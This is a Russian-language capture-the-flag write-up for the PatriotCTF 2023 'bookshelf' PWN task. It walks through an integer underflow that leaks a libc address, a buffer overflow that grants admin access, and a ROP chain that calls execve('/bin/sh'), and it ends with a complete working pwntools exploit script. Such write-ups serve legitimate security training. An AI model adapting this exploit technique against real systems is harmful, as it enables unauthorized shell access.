Недавно прошел PatriotCTF 2023. Таски хорошие особенно для начинающих. На нем можно быть проверить свои навыки в разделах:
PWN
Reverse
Forensics
Crypto
Web
Stego
OSINT
Зацепил меня таск по разделу PWN. Чтобы его решить необходимы знания в:
Реверсе
ROP-цепочках
Базовых понятиях интов
Знать что такое переполнение буффера
Это экзамен для начинающих, потому что в таске включены все базовые уязвимости и атаки, которые должен знать PWN-ер.
Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий
Изучаем бинарный файл
Первичный анализ, по крайней мере у меня, начиинается так:
file
strings
checksec
xxd binary | grep "UPX"
seccomp-tools
Вручную прописывать это не буду, потому что все это реализовано в программе J0llyTr0LLz.
Главное окно выглядит так:
Горячей клавишей Ctrl+O
откроем файл и посмотрим, что он из себя представляет
По readelf
в принципе ничего такого не видно. Просто эльфарь 64 разрядности и порядком байт little-end.
В file
тоже ничего удивительного
Нет канарейки, отключена рандомизация адресов и бинарь не упакован UPX
Проверим, есть ли гаджеты по типу pop rax; ret
или pop rsi; ret
. Вдруг пригодятся. Ничего не нашли...
Теперь чекнем стоки нажав комбинацию Ctrl+S
.
Проверю, есть ли seccomp
. Они, обычно, отображаются в строках
Ничего особенного не нашли. Пойдем смотреть сервис.
Играем с сервисом
В главном окне отображается меню, в котором можно:
Написать книгу
Купить книгу
Написать спецкнигу, только нужно быть админом
Выйти
Попробуем купить книгу:
Ладно. Купили книгу и, наверное, осталось 75 баксов и тратить больше не можем. Так же нас просят какое-то пожертвование. Пока оставим этот пункт.
Попробуем написать книгу. Видимо, перед нами выбор или написать книгу или создать аудиокнигу
Ответим, например, нет( N ) и отправим какую-нибудь строчку
После игры с сервисом можно выделить только то, что необходимо попасть в пункт номер 3 - Write a special book (ADMINS ONLY) (0)
. Туда и будем стремиться попасть.
Реверс
Реверс программы будет осуществляться в IDA Pro. Начну реверс с функции, в которой покупаем книги. Все блоки похожи. Хватает денег - вычитается сумма, иначе сообщение You don't have enough cash!
.
Посмотрим на глобальную переменную cash
.
Видно, что это int
. Может это unsigned int
? Просто, если рассуждать именно так, то получается следующее: когда cash меньше 0, в нем будем содержаться самое большое значение
если cash < 0, то cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295
Вопрос теперь другой. Как дойти до этого? Насколько помню, была речь о пожертвовании. Прореверсим этот кусок кода
И тут можно увидеть, что нет проверки cash. Всегда будет отниматься 10 поинтов при пожертвовании. Проверим теперь теорию с беззнаковым целочисленным. Сразу попробуем автоматизировать это
for i in range(8):
io.recvuntil(b'4) Check out')
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')
Посмотрим результат выполнения
Настал момент, когда ушли в минус. Проверим баланс
Теория сработала! Это была переменная с типом данных - unsigned int
. Теперь купим книжку
Как и ожидалось - получили утечку puts()
из libc. Это означает, что можно получить базу libc, и дальше делать что угодно угодно.
База считается примерно так:
LEAK_FUNC_ADDR = LIBC_BASE + OFFSET
Значит, ищем смещение puts()
в библиотеке и вычитаем это значение из утечки.
С этим разобрались. Теперь посмотрим, как получить доступ к админ панеле. Перед вызовом функции передается аргумент. Сразу переименовал его в uid
По умолчанию он равен 0
Однако, память утсроена так, что сначала идет какой-то буффер, потом выбор пункта меню и только после этого всего - uid
. По смещениям можно сделать такие выводы:
buf
размером 43 байтаchoose
размером 1 байтuid
размером 4 байта
Значит нужно ввести как минимум 46 символов для переполнения.
То есть, если переполнить буффер, то можно перезаписать uid
. Теперь вопрос: как переполнить буффер?
По перекрестным ссылкам можно найти это место в главной функции
Получается, что аргумент функции writeBook()
- указатель на буффер.
В функции он передается еще одному массиву
Этот массив, [rbp+s]
используется в самом конце. В него или добавляется вводимая нами строка или копируется
Ввод [rbp+src]
ограничен 40 символами
И как тогда переполнить? Ответ прост. Нужно лишь пролистать листинг чуть выше
Здесь можно увидеть следующее. Если нажимаем y
, то в массив [rbp+s]
добавляется строка длиной 6 - (AB):
Картина будет следующая:
s = '(AB): '
s += 'A' * 40
len(s) = 46
После этого массив будет равен 46 символам, как нам и надо. Тут даже выдумывать ничего не нужно. Банально отправляем 40 символов и на вопрос про аудиокнигу отвечаем положительно
Как видим, uid
изменился на значение 65, что по ASCII таблице означает A
.
Теперь заглянем в админскую функцию
Просят что-то ввести. Просто попробуем отправить 256 каких-нибудь символов
Программа упала! Значит это и есть уязвимое место. Настало время писать эксплойт
Пишем эксплойт
Взглянув на память в IDA, можно понять, что для переполнения достаточно 64 символа. Поэтому размер мусорных данных для переполнения - 56 байтов, а все остальное полезная нагрузка.
Ранее была вычислена база libc, поэтому все функции, строки, гаджеты будем искать в приложенном файле - libc.so.6
Чтобы получить шелл, нужно выполнить такой системный вызов
execve("/bin/sh",0,0)
Посмотрим в J0llyTr0LLz таблицу системных вызовов, нажав на кнопку F1
rax = 0x3b
rdi = /bin/sh
rsi = 0
rdi = 0
Нужно найти 4 гаджета по типу
pop rax/rdi/rsi/rdx
ret
Со строкой /bin/sh
проблем нет, потому что в любой библиотеке libc эта строка уже вшита. С syscall
такая же история.
После поиска получил такие наброски:
SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
Теперь осталось составить rop-цепочку
payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC
и отправить это программе
io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)
Теперь складываем все шаги и получаем такой эксплойт:
from pwn import *
exe = context.binary = ELF('./bookshelf')
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
tbreak main
continue
'''.format(**locals())
def live_richy():
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')
def leak_plt_puts_func():
tmp = str(io.recvuntil(b'rested'))
tmp = tmp[2:len(tmp)-1]
tmp = tmp.split("\n")[0].split(" ")
ret_val = int(tmp[len(tmp)-2][2:],16)
return ret_val
def get_admin():
junk = b'A'*40
io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
io.sendline(b'1')
io.recvline()
io.sendline(b'y')
io.sendline(junk)
def get_shell(LIBC_BASE):
SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
junk = b'A' * 56
payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC
io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)
io = start()
leak_plt_puts = 0
for i in range(8):
io.recvuntil(b'4) Check out')
live_richy()
io.sendline(b'2')
io.sendline(b'3')
leak_plt_puts = leak_plt_puts_func()
LIBC_BASE = leak_plt_puts - 0x000000000080ED0
log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
io.sendline()
get_admin()
get_shell(LIBC_BASE)
io.interactive()
После запуска получаем шелл